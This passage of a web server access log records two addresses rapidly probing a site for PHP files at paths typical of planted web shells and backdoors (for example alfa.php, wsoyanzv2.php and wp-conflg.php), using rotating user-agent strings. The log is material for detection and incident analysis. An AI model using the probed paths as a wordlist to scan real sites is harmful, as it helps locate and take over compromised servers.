[03/Feb/2026:10:55:06 +0300] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:07 +0300] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:07 +0300] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:07 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.82.38 - - [03/Feb/2026:10:55:08 +0300] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:08 +0300] "GET /log.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.38 - - [03/Feb/2026:10:55:08 +0300] "GET /wp-content/themes/seotheme/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:09 +0300] "GET /ioxi01.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.82.38 - - [03/Feb/2026:10:55:10 +0300] "GET /wp-content/plugins/seooyanz/wsoyanzv2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:10 +0300] "GET /l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:10 +0300] "GET /wp-includes/js/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.82.38 - - [03/Feb/2026:10:55:11 +0300] "GET /x/index.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.38 - - [03/Feb/2026:10:55:11 +0300] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:11 +0300] "GET /wp-content/uploads/wpr-addons/forms/e.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:11 +0300] "GET /wp-content/uploads/2022/bidlbdgp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.82.38 - - [03/Feb/2026:10:55:12 +0300] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:12 +0300] "GET /wp-content/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:12 +0300] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:13 +0300] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.82.38 - - [03/Feb/2026:10:55:13 +0300] "GET /wp-includes/mani.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:55:13 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.38 - - [03/Feb/2026:10:55:13 +0300] "GET /.well-known/index.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:14 +0300] "GET /cgi-bin/cyohbodf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.38 - - [03/Feb/2026:10:55:14 +0300] "GET /css/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:14 +0300] "GET /.well-known/Ex34L.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:14 +0300] "GET /wp-admin/css/colors/room.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:15 +0300] "GET /wp-content/uploads/wpr-addons/forms/rk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.38 - - [03/Feb/2026:10:55:15 +0300] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.38 - - [03/Feb/2026:10:55:15 +0300] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:55:15 +0300] "GET /images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:16 +0300] "GET /wp-aespa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:16 +0300] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:55:16 +0300] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.82.38 - - [03/Feb/2026:10:55:16 +0300] "GET /wp-admin/includes/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.82.38 - - [03/Feb/2026:10:55:17 +0300] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.38 - - [03/Feb/2026:10:55:17 +0300] "GET /.well-known/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:17 +0300] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:55:17 +0300] "GET /wp-content/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:18 +0300] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:18 +0300] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:55:18 +0300] "GET /wp-content/x/index.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.38 - - [03/Feb/2026:10:55:18 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:55:18 +0300] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:24 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.13 - - [03/Feb/2026:10:55:24 +0300] "GET /.well-known/acme-challenge/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:24 +0300] "GET /baxa1.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.13 - - [03/Feb/2026:10:55:25 +0300] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:25 +0300] "GET /.well-known/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.13 - - [03/Feb/2026:10:55:25 +0300] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.13 - - [03/Feb/2026:10:55:25 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.13 - - [03/Feb/2026:10:55:25 +0300] "GET /wp-content/upgrade/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:26 +0300] "GET /wp-content/mu-plugins/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.13 - - [03/Feb/2026:10:55:26 +0300] "GET /.well-known/pki-validation/infos.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:26 +0300] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:26 +0300] "GET /cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.13 - - [03/Feb/2026:10:55:27 +0300] "GET /upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:27 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:27 +0300] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.13 - - [03/Feb/2026:10:55:27 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:28 +0300] "GET /wp-content/plugins/apikey/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.13 - - [03/Feb/2026:10:55:28 +0300] "GET /wp-admin/images/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:28 +0300] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:28 +0300] "GET /admin/controller/extension/wpm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:29 +0300] "GET /payout.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:29 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:29 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.13 - - [03/Feb/2026:10:55:29 +0300] "GET /wp_info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.13 - - [03/Feb/2026:10:55:30 +0300] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.13 - - [03/Feb/2026:10:55:30 +0300] "GET /xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:30 +0300] "GET /by.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:30 +0300] "GET /wp-content/plugins/Cache/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.13 - - [03/Feb/2026:10:55:31 +0300] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:31 +0300] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.13 - - [03/Feb/2026:10:55:31 +0300] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.13 - - [03/Feb/2026:10:55:31 +0300] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:32 +0300] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.82.13 - - [03/Feb/2026:10:55:32 +0300] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:32 +0300] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.13 - - [03/Feb/2026:10:55:32 +0300] "GET /admin/controller/extension/extension/Not_Found.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:33 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.13 - - [03/Feb/2026:10:55:33 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:33 +0300] "GET /fox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:34 +0300] "GET /google.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.13 - - [03/Feb/2026:10:55:34 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:34 +0300] "GET /ovatools.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:34 +0300] "GET /sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.13 - - [03/Feb/2026:10:55:35 +0300] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:35 +0300] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.82.13 - - [03/Feb/2026:10:55:35 +0300] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.13 - - [03/Feb/2026:10:55:35 +0300] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:36 +0300] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:36 +0300] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:36 +0300] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:36 +0300] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:37 +0300] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.13 - - [03/Feb/2026:10:55:37 +0300] "GET /style2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:37 +0300] "GET /wp-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.13 - - [03/Feb/2026:10:55:37 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:37 +0300] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:38 +0300] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.13 - - [03/Feb/2026:10:55:38 +0300] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.13 - - [03/Feb/2026:10:55:38 +0300] "GET /epinyins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:38 +0300] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:39 +0300] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:39 +0300] "GET /qfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:39 +0300] "GET /qinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.13 - - [03/Feb/2026:10:55:40 +0300] "GET /thoms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.82.13 - - [03/Feb/2026:10:55:40 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.13 - - [03/Feb/2026:10:55:40 +0300] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:40 +0300] "GET /link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:41 +0300] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:41 +0300] "GET /my-sites.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.82.13 - - [03/Feb/2026:10:55:41 +0300] "GET /media.php HTTP/1.1" 301 795 "-" 